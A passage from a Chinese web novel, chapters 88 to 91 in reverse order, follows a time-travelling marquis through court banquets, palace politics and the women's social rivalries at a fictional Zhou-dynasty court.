胡管事怀着浓浓的疑惑走到车边仔细查看,里面的货物确实都还在,只有自己的佩刀和酒葫芦被人顺走了,钱袋子却没被拿走。 这…… 来不及疑惑了,货物还在就行,只要能将主家的东西按时按数交割,那就问题不大。 于是,他挨个踢起那些跟他一样懵逼的庄客们,众人合力徒手推车、换着抬车辕,哼哧哼哧的向京城北门慢慢挪去。 现在没有功夫停留在这喊人来帮忙,谁知道那些歹人是不是回去搬救兵或者找帮手去了?如果耽误了时辰,城门关闭,又会生出许多的变故来。 一行人哼哧哼哧的喘着气,费了九牛二虎之力才将车驾拉到了城门前。这一路上没少被人指指点点,遇到的百姓客商们纷纷用惊诧的目光打量着他们,让他们尴尬不已。 因为看起来确实有点奇葩。 拉到护城河边后,庄客们叫苦连天的瘫倒在地上,四肢酸痛,哎呦哎呦的叫个不停,有些干脆往地上一躺,大口大口的喘着粗气。 胡管事也是双肩酸涩,小腿胀痛,后背似乎被什么东西压着一样,肌肉绷得紧紧的。 他无奈的叫庄客们盯紧货车,自己拄着根枯树枝,一瘸一拐的从吊桥上走了过去,来到了立有拒马的城门口,立刻就有一名守城士兵上前盘查。 “路引。” 胡管事垂头丧气的扶着树枝,将手伸进胸口的衣服里,来回摸了好几遍,一身的劳苦疲惫又被心惊肉跳替代。 路引呢? 他连忙丢了树枝,仔细在自己身上上下翻找,袖子、钱袋、内衿,能找的地方都找到了,却没有看到路引的影子。 他不信邪的解开腰带,打算看看是不是缩到后腰去了,但这个举动却吓了士兵一跳,他立刻双手握住长枪皱眉问道: “你干什么?大庭广众之下解衣脱裤,成何体统!还不快停下!” “不不不!官爷,小人是有路引的,只是一时找不见了!您容我解开衣服查找一番。” 士兵这才暗松了一口气,重新将枪立在身边,不耐烦的说道:“快点!” “哎哎哎~” 胡管事赶紧三两下解开腰带,掀起后摆抖了抖,又跳了两下,转身在地面上扫了一圈,毛都没有。 这…… “官爷,您听小人跟您解释,小人是幽州太守吕相公的家奴,这路引本是有的,只是在路上一时不慎被人麻翻了。您行个方便,容小人进去与主家说一声,自会派人来跟您说明。” “那不行!” 守城的士兵皱眉说道:“京城重地,岂可疏漏?你不要命,我还要命呢!没有路引一概不放。再说了,你说谎也不过头脑,被人麻翻了还能好好的站在这里?货物也没丢?你蒙谁呢!” 胡管事闻言一时语塞,这……我特么哪知道那帮贼人是怎么想的啊?! “官爷,小人真不敢在您面前扯谎,再说了,小人就是吃了熊心豹子胆,也不敢在京城地界撒野啊!确实遇到了难处,实……实在不行,劳您进城去杨柳巷吕府传达一趟,主家定会来接的,也必不会少了您的茶水。” 士兵的耐心已经用尽了: “若人人都似你这般,叫我们这些卫戍军去跑腿传信,城门谁来守?老丈,我见你是个长者,不与你计较。速速离去,拿了路引再来,再要无理取闹,我可真不客气了!” 第91章 心机 正所谓妇女能顶半边天,女性同志作为人类社会的重要组成部分,在政治斗争中同样占据着很大的席位。 蝉鸣宴的本质,是中原大区的定榜结算,因此各地命妇、女眷也全都入宫觐见。 前朝是男人的狂欢,后宫是女人的盛宴。 青柠和嫂子婉云一道入宫,在见到堪比百花争艳般的大场面后,青柠明显有些心虚。 列坐在清荷殿里的莺莺燕燕们,无一不是豪门贵女,望族闺秀。 她们衣着华丽,佩饰名贵,浑身上下都透露着雄厚的财力。不仅如此,钟鸣鼎食培养出来的自信从容、诗书传家陶冶出来的淑雅文静,全都让青柠感到自惭形秽。 相比之下,婉云就要好的多,不卑不亢,面色淡然。 她从小就在官宦人家长大,身上自带着江南女子的水润和书卷气,眼神里隐隐还有一股漠然,那是阅尽沧桑后的沉稳豁达。 今天与她们相熟的韩意以及文家姐妹肯定没空陪她们,三人和另一名众星捧月的女子游走在百余名女眷中,忙的脚不沾地。 作为文家的女人,她们身上的担子不会比男人们轻。 韩意性子虽然温柔,但这个时候也不得不八面玲珑,拿出一股关中女娃的精明泼辣。任何一位照顾不周,都有可能影响到她们背后家族的看法和支持,枕头风可不是开玩笑的,尤其是对于那些妻管严们。 文鸯也是站在女孩堆里,端着琉璃酒杯,里面盛着果酒,向诸女一一笑语。就连一向行事自我的文瑶也认真了起来,和一群小姐妹们说说笑笑,不再摆大小姐的架子。 相比之下,另一位女主人就更是艳压群芳了。文初的妻子赵芝英,身边围绕着来自河北各地的世家小姐,大有一股百雀朝凤的景象,而且还隐隐与韩意有比对的意味。 文夫人高坐案首,身边一左一右两位贵妇。在场之人,只有这两位配让她交谈作陪。 “嫂子,宴会什么时候结束啊?” 青柠面上波澜不惊,内心却如坐针毡,既因为自卑,又怕自己出丑给凌晨带去麻烦。于是便偷偷拉着婉云的衣袖,小声询问。 “还早呢,最快也得到晚上。” “啊?” 什么宴会要开一天啊!早知道就……不对,好像不来也不行…… 习惯了农家生活的青柠并不是特别擅长交际,生活好起来之后,也是跟着凌晨遗世独立,很少参与这么重大的活动。加之韩意她们忙得团团转,无法一直陪着,在如此陌生的环境里,难免会有些焦躁不安。 婉云看出了她的紧张,握着她的手安慰着说道:“不要怕,你多想想妹夫,他面对着前面的那些官员会怎么做?你也照做就是了,总不会出错的。” 青柠闻言一愣。 若是相公,必然是见谁都侃侃而谈,回头一问,根本想不起人家叫什么…… 自己哪能效仿他啊! 愁死了…… 女人们没有男人那么自来熟,热衷结交。对于不认识的人,又没有相熟的姐妹介绍,大部分是不会主动跑去认识别人的。既显得自己唐突,又容易被人低看,而且万一对方不对自己脾气或者身份,大家都尴尬。 所以青柠和婉云的位置虽然靠前,但却是场上小团伙里人数最少的,只有她们姑嫂二人。 而且,还有不少人投来窥视的目光,互相交谈着讨论她们二人。 “哎,那两位是谁家女眷?怎么从来没有见过?” “不认识。” “我也未曾见过。” “看她们的位置如此靠前,应当是重臣家眷,怎的不见长辈领着?” 但也不是完全没有人认识她们,没多久就有一名女子专门向女官询问过后,独自一人来到了青柠和婉云的桌前,悠悠行礼。 青柠和婉云对视一眼,也立刻起身还礼。 “世容见过婉云姐姐,见过青柠姐姐。” 婉云盯着眼前的女子柔声问道:“我们姑嫂平日里出门的少,见识浅薄,不知妹妹是……” 女子一身明锦,内里是一件天蓝薄纱,身上的首饰并不算华贵,但浑身散发着一股活泼灵动,脸上笑意吟吟。而且看向她们的眼神十分友好,略带着几分恭敬。 “我家官人姓吕名齐,是侯爷的好友,他们当初曾一起在邺城之战中为郑王效力过。” 青柠闻言顿时喜上眉梢: “原来是妹妹!我在家也常听相公提起兄弟,他常与我说:幽州名门,只出了兄弟一人。咱们姐妹一直没有机会相见,不想却在今日碰着了~” 何世容见青柠晓得自己,也很高兴,热情的上前拉住青柠的手,三人一起坐下说笑起来。 不多时,又有一位贵小姐舍却身边诸女,独自一人来到了她们面前,道福见礼: “魏娴见过夫人。” 何世荣的加入并没有引起多大关注,但魏娴的主动凑近却在平静的湖面荡起道道涟漪。 春官的掌上明珠,份量可不轻。 在场的大多数女人都是家族精英,自然知晓其中包含的价值,于是纷纷向女官打听青柠和婉云的身份,在得知之后,反应各不相同。 但大多数人都没有贸然结交之意,在不知道自家男人的想法之前,还是观望的好。 “真的?那歹人没有伤着妹妹吧?” “没有,多亏了侯爷身手了得,我才能捡回一条性命。” 青柠捂着嘴巴,惊心动魄的听着魏娴讲述那日的凶险情形,相公怎么从未说起过这事?这也太危险了! “婉云姐姐,青柠妹妹,可叫我们好找!” 就在她们交谈间,又是三名女子寻了过来,她们都是家中小辈,刚跟着母亲们拜见完郑王妃和世交之家的长辈,这才得了空能自己转。 三人都是先前随韩意到青柠家中做客的闺友,见到她们后,青柠和婉云更高兴了,连忙邀请她们入席,互相介绍认识,小姐妹团也是逐渐热闹了起来。 但,也不是所有女眷都是知书达理、通晓人情的上层女流。 看到何世荣挤进如此靠前的座位,还能有说有笑时,有人就不爽了。 一名衣着华丽的女子径直走到青柠她们所在的案桌前,耳畔的步摇晃到飞起,柳眉倒竖,气势甚是凌人。 “你在这里做什么?不去赵姐姐身边伺候着,谁叫你跑来这里闲聊的?” 在看到这名女子后,何世荣脸上的笑容消失,有些难看,也不敢与之争辩。 同桌的其他人皆是脸色不快,青柠起身将何世荣护在身后,眉黛微皱:“姐姐恕罪,是我将世容请过来一起说话的,可是有哪里不妥?” 人跟人待久了,就会越来越像。青柠的胆怯全都建立在文明的基础上,如果不文明,那她也是有一些家族传统在身上的。 二婶的彪悍和大舅哥的霸道,化为了虚影,投射在她的身后。 魏娴和另外三名闺友也看向这女子。 能跟韩意玩到一块去的,又怎会是普通人家? “这是我们吕家的家事,不与夫人相干。” 吕家娘子丝毫不惧,拿软钉子顶了回来。 就在她们剑拔弩张之际,又有一群女眷从殿外走了进来。这队人非常奇怪,有年长的,也有年轻的,但都以最前方的年轻女子为尊。 殿里众人的焦点都在这群女眷身上,没有人注意到青柠这边。 见自己叫不动何世荣,吕家娘子明显是生气了,脸色很不好,语气更不好: “还不快随我过去?早说了庶出的上不得抬面,也不知父亲怎么想的,叫你们一家来京城丢人现眼!” 这话就过分了,大家都是名门闺秀,纵使有什么矛盾,也不能跟市井骂街一样在这清荷殿嚷嚷啊!这跟泼妇有什么区别? 青柠的闺友祁阳郡主娇斥道:“你是哪家的?竟如此不懂规矩!今日众姐妹都来参加蝉鸣宴,为的是敬请郑王与王妃,岂容你在此放肆!再要这般无理取闹,信不信本郡主叫人逐你出去!” “哼!郡主可真厉害,这是妾身与这蹄子的家事,更何况还是郑王府的宴会,您要下令驱人?眼里还有王妃吗?” “你……” 祁阳郡主被这牙尖嘴利的女子气的香肩微颤,她何曾受过这种气?当即就要发作,却被魏娴一把拦住。 因为有人过来了。 新入殿的那群女眷在拜见完文夫人后,一群人乌泱泱的径直朝着青柠这边走了过来。 其中一个看起来颇为干练的女眷越过领头的女子,走到最前方一把拨开要找何世荣麻烦的吕家娘子,把她扯到一边,还瞪着眼睛看向她,仿佛在问:你不服? 为首的那名女子连看都没有看她们,直接来到案桌前。在看到她后,青柠和婉云的脸上都露出了一丝笑容。 “柠儿,小云,好久不见。” 青柠欢快的走上前去,一把拉住女子的手,欣喜的问道:“莺姐姐,你什么时候来的?怎么不提前跟我们说一声?” 钟莺笑着说道:“先前得了消息,相公政务繁忙,只叫我进京觐见。快赶慢赶,还是有些耽搁了。” 婉云也笑着上前拉住钟莺的手,几人一起落座,互相介绍着彼此,攀谈了起来。 远处的赵芝英将这边的情形尽收眼底,低头吩咐一声,叫自己的侍女去把吕家娘子喊回来。 王臣鹤的夫人,她暂时还得罪不起。 第90章 劝进 如今四境烟尘熄绝,中原海晏河清,没有皇帝的日子里,天下人只知道郑王日夜操劳、夙夜忧叹,为百姓们的美好生活操碎了心。 伐晋结束后,初定一时。 五月底,皇城修建完毕,群臣商议决定,于六月初五在宫中举办宴会,请郑王吃饭,以表彰他为天下百姓和士人作出的杰出贡献,定为“蝉鸣宴”。 郑王得知此事后,欣然同意,但宴会的钱要从太尉府出,不许诸公花一文钱。 清晨的风还有些冷,混在公爵队伍中的凌晨不由的裹紧了衣服,还好今天出门前青柠给他套了件裘子。 青柠也来参加宴会了,只不过在后宫女眷那边。 阳光撒在宽阔平坦的白石地板,宫前广场上站满了天街公卿,分为文武两队。文官队伍站在最前方的,是杜宣。武将队伍站在最前方的,是文若。 凌晨被分到了文官队伍,由于没有实权和官职,礼官就将他塞到了同为侯爵的两个人中间,立在文官第四排。 此前礼部尚书魏序向郑王上报了新规,文武官员皆穿款式相同的朝服,不绣图纹区别文武,只以颜色区分品阶。 二品大员,皆着紫服。 三品红服、四品靛青、五品天青。六品以下,俱着土红,是为亲近平民之意。 皇宫修的非常肃穆庄严,最主要的大殿是位于中轴线上的乾元殿,众臣上朝之所就设立在此,前面是三层、各二十四阶天梯,梯下就是众人现在站立的广场。 整齐的青瓦如同鱼鳞般分布在屋顶,飞檐斗拱、雕梁画栋,都用了沉稳的深色,完全迎合了文训的喜好风格。檐下立有二十四根四个人才能合抱的红柱,如果不是亲眼所见,凌晨都想象不到这东西的模样。 战乱了这么久,这种古木居然没有被砍伐,真是一个奇迹。应该不是中原产物,估计是从其他地方拉来的,能凑出这么多一模一样的,也不容易。 每一扇殿门都雕刻着不同的图案,花团、山石、水波、瑞兽,上半部分的菱形镂空处嵌以琉璃,缝隙处用深色珐琅点缀,让人察觉不出奢华,但却能感受到名贵。 台阶上每隔八节,便分立着两名披霜甲、持仪仗,配金刀的御林侍卫,当初的亲卫营已经转变为皇城御林军,江淮军和颍川乡军合并成为了京城禁军。 三声钟响后,当今天下最有权势的郑王,在一大群侍卫和宫女的拥簇下,从殿内走了出来。 郑王今天身穿紫服,与阶下的二品大员一般无二,发髻上只簪着一柄小巧的玉如意,腰间系着熊革皂带,脚踩踏云靴。人逢喜事精神爽,老文满面春风,仿佛比以前更加年轻了。 从穿着上就能了解到他的喜好,带着一股武将的简朴和直接。 “参见郑王~” 群臣在杜宣的带领下,齐齐行跪拜之礼,乌泱泱的跪下来一大片。 “昂~呵呵呵~诸公免礼~” 老文笑呵呵的虚抬着双手,示意众臣起身,随后便有一大群内官抱着、抬着红漆小桌和檀木座椅从广场两边的侧门鱼贯而出,按官职地位高低依次赐座放案。 文训坐在殿门前,靠在一把背上雕着二龙举珠的玉座上,笑呵呵的看着台阶下的群臣谢礼入席,饶有兴趣的从每一个人身上扫过,捋着胡须颇为自得。 凌晨望着台阶上离群臣八百米远的文训,不由得一阵腹诽:老头还装起来了,坐那么远大家说话你听得到吗?奏事还得用喊的,真的是…… 这才刚坐下,内官们正在上菜呢,一个位置比凌晨靠后的文官就迫不及待的起身了,举着象牙笏板走到宴会中央的台阶下,恭敬的曲身奏道: “郑王,臣有事要奏。” 台上的文训笑着问道:“卿有何言?但说无妨~” 那官员再次行礼后,朗声说道: “自陛下被逆贼孙芝戕害以后,天下无君,寒夜未晓。臣闻先帝子嗣,已皆被加害,宗室亲眷,亦沦为囚徒。 正所谓国不可一日无主,值此非常时期,更需有一人扫除群凶,匡定天下,还黎庶太平,定远近人心。 臣斗胆,请郑王为天下百姓计、为臣属将官计,休辞辛劳、勿惧谬议,登基称帝!以安天下人心,抚黎庶翘盼,亦绝群雄野望,使干戈止息。” “哈哈哈哈~” 台上的文训听罢后放声大笑,起身走到边上。待笑够了之后,才摆着手说道:“卿此言太过,我为周臣,已事两代明君,岂能行此僭越之事,万万不可~” 就在这时,杜宣也起身从座位上走了出来,手里捧着白玉笏板跪在了地上。 百官之首都跪了,其他人还哪里有坐着的道理?于是包括凌晨在内的所有官员都起身出列,再一次乌泱泱的跪了下来。 杜宣开口说道:“郑王,正因为您是周臣,忠心可鉴、一生为国,臣等才敢有此一言。数年来,您率领臣等披荆斩棘,南据李唐、北征伪燕、扫清流寇、驱除蛮夷。于国、于民,皆有不世之功! 如今周祚已绝,天下无主,似逆贼孙芝,数度叛君,倒逼邺都,尚敢僭越称帝。以您的丰功伟绩,如何不能筑鼎设庙?神器更易,乃天理有常。若是郑王只为虚名,不纳群臣之意,不听百姓之言,臣今日便长跪不起!” “愿郑王休惧非议,顺应天下人心!” 在杜宣的带领下,上百名官员纷纷跪倒在地上,以头伏地,大有一副“你今天要是不答应,我们当场就死给你看”的架势。 文训无奈的虚扶着众人说道:“此事万万不可!我本周臣,自当有始有终,陛下虽不幸驾崩,然宗室之中,仍有才学兼备、宅心仁厚之主。本王理应静扫宫苑,恭待圣主。” 这…… 听见文训这么说,众臣你望望我,我望望你,再次低头伏首,人人都是长跪不起。 文训无奈的叹了一口气,转身便离去,似乎是恼了。 文若率先起身,走过来扶起杜宣,又对群臣说道:“诸位大人都起来吧,父王既无此意,我等不可逼迫。” 又有两名紫袍官员上前,对着文若说道:“世子,此非我等私意,实是为天下百姓道出所望。郑王若不登基,当今天下还有何人可以统御万民?世子归府后,当再劝郑王,民心不可违啊!” 文若叹着气说道:“若自当转达诸公之言,但父王之意,非若能改……” 众臣又是一阵叽叽喳喳的劝说,最后才在文若的招呼下,各自回到自己的座位,正式开始吃席。 凌晨坐在自己的位子上,拿起筷子就开炫。觥筹交错,官员们互相举杯相敬,谈天说地,气氛十分融洽。 只顾闷头吃喝的凌晨,显得有些另类。 比他高的官员知道他的秉性,比他低的官员不清楚他的路数,和他同阶的官员,不认识他。 过了一会,坐在他旁边的那个同样穿着红色官服的大叔,举着酒杯朝凌晨敬酒:“请恕在下眼拙,公现居何职位?面生的紧。” 见有人跟自己搭话,凌晨连忙放下夹着熊掌肉的筷子,左手端起酒杯,双手回敬道:“闲散野鹤,蒙郑王信赖,向先帝讨封临颍侯位。敢问大人是……” 这官员面露惊诧之色:“原来足下便是凌侯爷,幸会幸会。在下姓万名修,忝为工部侍郎。” “啊~原来是万大人,久仰久仰~” 二人笑呵呵的隔空碰杯,俱都一饮而尽。 喝完酒后,大家也算是认识了,万修很客气的朝着凌晨说道: “久闻侯爷清傲孤直,一向行踪难觅,今日得见,大慰平生。上林苑吕齐,乃是在下下属,在下对侯爷操刀举办的汴京时报颇为钦佩。收拢万言,聚于一家,以绝野肆之声,不可谓不高明。” “哪里哪里,都是为了天下百姓能够听到正确的声音,不被奸人蛊惑蒙蔽而已,大人谬赞了~” 吹嘘一番后,万修好奇的问道:“在下听说侯爷曾是颍川团练,当初何故辞去官职?若非如此,侯爷现在必然在禁军中身居要职,岂不美哉?” “唉!” 凌晨惆怅的夹起一块熊掌肉,放进嘴里后边嚼边说道: “大人有所不知,在我很小的时候,我就出生了。那时候,没有一个朋友来看我,我甚至都无法用双腿走路,每天只能靠爬,才能去到想去的地方。 我从小就没有妻子,连我父母这种最亲近的人成亲,都没有告诉我。就算这样,三岁之前我都没有说过一个苦字!呜呜呜…因此才养成了懦弱封闭的性格,不敢与人说话! 直到遇见了大人,一见如故,我才敢吐露心声:非是我心高性傲,实是内心胆怯、不敢与人言语,只能独自一人行走,深恐惹得他人不快……” 说着说着,凌晨声泪俱下,万修听得接连叹气,这也太惨了! “侯爷不可妄自菲薄,年少虽多历曲折,但如今轻舟已过万重山,侯爷要重拾信心,与人多加交流,开阔心扉。” 凌晨抹着不存在的眼泪说道:“万大人真是世间罕有的知心人啊,不说了,都在酒里!” 万修连忙再次端起酒杯:“侯爷休要伤心,都过去了,请!” 第89章 搭讪 一代就该跟一代玩,二代就该跟二代玩。 你不能因为我长得帅,就跑来搭讪,这很冒昧。 自从那日来“拜谢”过凌晨之后,文初似乎对他比较失望,可能是觉得没什么帮助吧,亦或是有什么别的原因,总之没有再来登门喝过茶了。 这样挺好,大家都清静。 汴京城的印刷作坊已经被老文修筑了坊墙,将四周都围了起来,还派了专门的兵丁保护。 仔细想想,自己已经很久没有见过老文了。 “哥哥,这……这能发吗?” 作坊官署里,就在凌晨品着香茗、望着窗外的雨线愣神之际,坐在他身边的吕齐一脸为难的举起草稿微伸向凌晨,发出了疑问。 《西游记》太长了,懒得编下去。凌晨写到小雷音寺时,直接改成凌云渡成正果。反正这里也没人知道自己偷偷鸽了,就算有些人觉得意犹未尽或者察觉到不对,那也没事。 我是作者,我今为之,又待怎样? 今天又是交稿的日子,凌晨索性拿出一篇《西厢记》胡乱对付一下。但是没想到向来和自己意见一致的吕齐竟然发出质疑,卡自己的发布,这让凌晨瞬间就联想到一些讨厌的家伙,有些生气。 “是哪里不对?” 吕齐见凌晨脸色沉了下来,知晓他是生气了。虽然声音小了很多,但还是硬着头皮小心翼翼的说道: “这张生如此狂悖,竟敢诱骗涉世未深的深闺小姐……还有这红娘,身为侍女,本应规劝保护自家小姐,可她竟然敢放任甚至暗助二人。还有这崔莺莺……不顾父母之命,与人私定终身,这……” 一口气倒完文章中的不合理之处后,吕齐叹着气说道:“这篇文如若刊出去,小弟怕是会被国子监教谕和上林苑诸公的唾沫星子给淹死……” 凌晨嫌弃的看向吕齐,这要是放在后世,你丫必上校园墙公示处和小红薯悬赏榜,备注肯定是“封建余孽下头男”! “笔者署名是我,你怕个毛?有人问起,你就说是我拿刀架在你脖子上逼着你干的。哪个不服,叫他亲自来找我!” “呃……好吧!” 吕齐愁容满面的看着手里的写稿,他已经可以想象的到这玩意发出去以后,自己将要面对什么样的狂风暴雨了。 算了,既然哥哥决意要发,那就发吧~ 把稿子交了之后,凌晨又在吕齐的陪同下在作坊里逛了逛。二人一起讨论了一下小字排版和书籍装订的问题。 兴致上来的凌晨还亲自提笔,给吕齐画了一幅杜丽娘春日游园图,题上“游园惊梦”四个大字,将小人书和连环画的概念植入了他的脑海,也算是变相的剧透了下一篇文章。 不知道大周的姐妹们在看到《牡丹亭》后会有什么样的反应,好期待啊~ 至于那些腐儒们的口诛笔伐嘛…… 莫听穿林打叶声,爱狗叫就叫去吧~ 逼急了我让老二去你家大门口自由发挥,看看是谁先搞臭谁。 反正文训新修的律法里,对于解二爷的专业领域没有明确规范,最多就是进去蹲上十几天。京城府衙大牢从上到下都是他的狐朋狗友,不过是换个地方喝酒罢了。 我可不是柔柔弱弱的小书生,有的是力气和手段! 而且还有大把的时间~ 除了女性读者的福利外,还要夹带点私货,比如孤寡老人的赡养、战争遗孤的抚养、各行各业小人物的困境、年轻书生们的就业、下层士卒的待遇等等等等~ 笔要是用好了,威力不比剑小。 汴京时报,既要关注风云变幻,也要盯着柴米油盐,日后还要成为全国性的权威媒体机构,争取做到与国同休! 先进的印刷方式、优秀的产品质量和层出不穷的创意理念,奠定了它的超然地位。更何况,它跟太尉府是深度捆绑的。 即使会被人模仿,也没有人能超越。 在作坊里转悠了一上午后,凌晨便和吕齐告别,背起手领着解二晃晃悠悠的向着坊门外走去。 快到门口时,解二捂着肚子说不舒服,凌晨就让他去茅房了,自己一个人走出坊门,踩着台阶来到路上,抬头望向天空。 世味年来薄似纱,谁令骑马客京华。 小楼一夜听春雨,深巷明朝卖杏花。 正是春深夏近的时节,坊街两旁的柳树枝垂下了道道丝绦,点缀出一片郁郁葱葱。银针细雨拍打在脸上,传来丝丝凉意,脚下的青石板早已被雨滴打湿,崎岖不平的小水坑里堆有积水,泛着点点白光。 黄墙灰瓦一路绵延向两旁,街边的泥土也浸成了淡褐色,远处的飞檐笼罩在天青烟雨中,若隐若现。门头和坊墙的拐角处,结着一张蛛网,如果不是挂着小水珠,很难观察到如此清晰的脉络。 蛛网连在坊门的瓦片下,凌晨深吸了一口带有泥土芬芳的清新水气,好奇的扶着门头石砖向上望去,发现蛛网的主人正躲在瓦片下的干燥缝隙处,一动不动,宛若老僧入定。 灰蒙蒙的天空中,两只黑白相间的飞燕互相追逐着彼此,穿梭在潇潇雨幕里。从邻街飘来一阵竹笛小调,婉转清悠,回荡在天地间。一股莫名的宿命感油然而生,萦绕在心头。 凌晨轻叹了一声,说不出是喜是悲。 “公子~” 一道又温又御的女声从耳畔响起,打断了沉浸在自己的世界中、情绪正在经历起伏的凌晨。 他回过神来,循声看去,看到一名陌生女子撑着油纸伞,站在不远处的微微细雨中。 白衣胜雪,面容清秀,领边绣着蓝色织纹;一双素手握着纸伞,倚在右肩处,看向凌晨的目光平静淡然,眼眸中似有女儿心事。 体态匀称的腰间挂着一只梅花香囊,垂下橙橘流苏,裙角沾染上斑斑泥渍,湿掉了云鞋绣帮。幻去疑是点酥娘,风里却说碧玉香。 “敢问公子,可是这作坊里的官人?” 凌晨笑着对面前的女子说道:“算是吧,姑娘有什么事吗?” 女子听到后,大大方方的走上前来,向凌晨打听道:“我听说里面招女工,一月能发五两银子,所以就过来看看,想问问公子,传言属实吗?” “当然是真的,只是里面的活可能有些繁琐。” 女子听后轻轻点头,眼睛望向坊门里面,继续说道:“是的,我也听相熟的街坊说,里面的活计有些吃力,还需要冶炼铁水……” 这谁特么败坏作坊的名声?一定是干活摸鱼被踢出去碎嘴子,真是…不知所谓! 凌晨无奈的向眼前的女子辟谣道:“倒也不是,确实有冶炼铁水的流程,但那是男子的活。女子只是负责拓印、晾报、刷墨这类的轻松活计,而且里面男女区域是分开的,姑娘大可不必担心。” 女子听到后轻疏了一口气,似乎放心了不少。 “其实,只要踏实干活,里面的活儿确实还可以。上工不算特别累,一天就干四个时辰,中间可以休息。待遇也比较丰厚,而且时不时的还有一些奖赏。姑娘如果耐得住性子,倒也是个不错的选择。” 女子仰着下巴望向里面,听得频频点头:“这是自然,既然拿了银子,肯定要做到东家满意。” “姑娘是来打听的,还是已经和里面的人约好了?” “哦…我已经托人进去和里面管事说了,正等她得了空带我进去。但因为是第一次来,心下忐忑。方才见公子从里面出来,故而冒昧搅扰,有此一问。” 就在两人交谈时,里面走出来两个女人。一个看着年轻,老远就朝着凌晨身边的女子使眼色;另一个凌晨有点印象,是吕齐安排管理女子们的管事。 那女管事见这名女子和凌晨站在一块,明显愣了一下。 女子对凌晨道了一福:“多谢公子解惑,我先过去了。” 凌晨笑着对她说道:“嗯,姑娘请便。” 这名女子走到女管事身边,和她们交谈起来。三人说了几句后,女管事偷偷看了一眼凌晨,眼珠子转动了两下,将这位雨中邂逅的女子带进了坊里。 凌晨望着她们进去后,单手抱胸,一只手伸出食指摸着自己的下巴,心情颇好。 这是他来大周之后,第二次被陌生异性主动搭讪。 第一次是从军归来锁在门外,让二婶嗑着瓜子盘问。 至于上辈子,女生主动找他说话,不是喊他扫二维码,就是给他推销产品。 这么纯粹简单的搭讪,还是第一次。 被女生主动搭讪,多么梦幻啊~ 这是我该享受的待遇吗? 那名女子并不知道她的随口一问,已经让凌晨陷入了深深的自恋之中。他的心情非常好,就因为第一次体验到这种奇妙的感觉,原来被异性搭讪会这么开心~ 就在这时,解决完个人问题的解二双手绑着腰带,低头从门里边走了出来。 凌晨扬起脸看向一旁,假装不经意的问道:“老二,我今天帅吗?” 解二一头雾水的抬起脸,望着突然问出这种问题的凌晨,思索了一下后,反问道: “侯爷,你不是一直都很帅吗?” 啧,哎你…… 哎呀……这……嗨呀!! “呐,今天出门就带了二十两,都赏你了!” 第88章 迟钝 好大哥文若,同时拥有野蛮的躯体和聪慧的头脑,穿衣显瘦,脱衣有肉。那肌肉也就比大舅哥差点,绝对是文武双全的六边形战士。 而且他为人谦和,做事一丝不苟,能打能杀,干净利索不拖沓。最难能可贵的是,一个久经战阵的将军,却始终保留着对生命的敬畏之心。 当初在汝南逛窑子被歹人截杀时,文训一怒之下要灭了教坊司,鸡犬不留。 他那副欲言又止、想要上前劝阻的小动作,凌晨看在眼里,记在心里。 从主观上考虑,凌晨还是偏向于文若的。从客观上讲,他是嫡长子,也已经被确立为世子,干嘛还要舍近求远瞎折腾? 眼前的文初……也不能说差。 长相与父兄有五六分相似,但比他们少了一股威严和坦荡。长期的为质生活,让他多了一些谨慎和圆滑。人也挺有礼貌,没有以势压人,就是寻常的登门拜访,也没空着手来,门口站着的随从手里提着两包点心。 里面是不是点心不重要,这礼贤下士的态度没得说。 但我们真的不合适。 “凌…凌兄,你这是……” 文初显然没有见过凌晨这副治好了也会流口水的模样,惊诧之余连忙上前搀扶住他的胳膊,将他扶到椅子上坐了下来。 “阿巴阿巴……阿巴阿巴阿巴……” 文初皱着眉头,惊讶的盯着下巴一抽一抽的凌晨,有些不知所措。 抽了半天,真的感觉下巴有些脱臼的凌晨这才扭了扭脖子,缓过神来停止了装疯卖傻。 “二公子勿怪,在下从小就患有小儿麻痹,后来又得了癫痫……”凌晨张口就来的胡诌了两句,看到文初露出一副疑惑不解的表情,向他解释道: “就是羊角风。” 文初恍然大悟,有些同情的望着凌晨,撇着嘴叹了口气,替他感到难过。 “在下于冀州为官时,曾有幸结识过一位隐市神医,其人青囊妙手,颇有声名。凌兄如若不弃,我愿代为引荐,或可为兄调理一二。” 凌晨连忙说道:“不不不,这点小事怎好麻烦二公子。我这是从小落下的病疾,已经回天乏术了,时不时的就抽两下,今日被公子撞见,实是见笑了。” 正在这时,端着热茗的青柠走了进来,为二人放下茶杯,文初连忙从座位上站起来行礼。 看着他这副尊敬模样,凌晨就没来由的有些头痛。 “在下文初,虽久居河北之地,却一直闻听嫂夫人贤名,今日得见,不胜荣幸。” 青柠也被他搞的手足无措,连忙曲身道福:“妾身惶恐,早就听意姐姐和鸯儿、瑶儿说起过公子,舍己为家,孤身踏入虎狼之地。妾身虽是女流之辈,却也佩服至深。” 文初满面春风的笑谈道:“内人久居乡野之地,不久前才随我来到汴京,也无甚闺友。嫂夫人如若撞见,望乞能怜带着她赐教指点,不要嫌她粗笨。” “这是哪里话?贤妹是意姐姐妯娌,又是两位妹妹兄嫂,妾身只恐不能尽心陪侍,岂敢相疏?” “哈哈哈~若如此,在下便放心了~” 青柠也跟着凌晨学精了,夫唱妇随,主打一个件件有回应。 文初之所以这么谦逊的礼待凌晨夫妇,都是文夫人给指点的。 想想也是,对于这个流落在外吃尽苦头的儿子,作父母的心里多少都有些愧疚,肯定会照顾着点。 文夫人告诉他,在这汴京城中,有三个人必须要去拜访,而且要执恭礼。 杜宣自不必说,文训集团的二号人物,吏部天官,还是军中出身。不认识他,只能说明你对组织部一无所知。 还有一个是中书门下的左仆射周行舟。这老哥平时虽然十分低调,却也是一位潜伏在海底的深渊巨兽,因为他还有个十分特殊的身份—— 文训的小舅子,文夫人的亲弟弟,文家四兄妹的亲舅舅。 第三个就是凌晨。 来之前文初专门询问过母亲,其他两个他当然明白,可凌晨是个什么鬼?一个闲散侯爷,除了武艺高强之外,就没有别的了。以礼相待是当然的,但执恭礼是不是有些太过了? 这要是传出去,让那些不知情的人知道了,还以为文家老二是讨好型人格呢~ 文夫人也回答不上来为什么,只告诉他老文很信任凌晨,非常信任!好好结交总不会错。 于是,怀着浓浓的好奇和疑惑,他就来了。 结果一下马就发现这里处处透着说不出的怪异。 明明临颍侯凌晨的居所,大门口的牌匾上写的却是“刘宅”。 食邑四百户的公侯府邸,却看不到一个婢女,只有一个面容清秀的男子,而且看他的举止也不像下人。 仿佛就是寻常百姓人家。 而这位神秘侯爷一见面就给自己拉了坨大的,吓了他一跳,差点以为要被碰瓷讹上了…… 这里唯一看起来还算正常的就只有临颍侯的夫人。 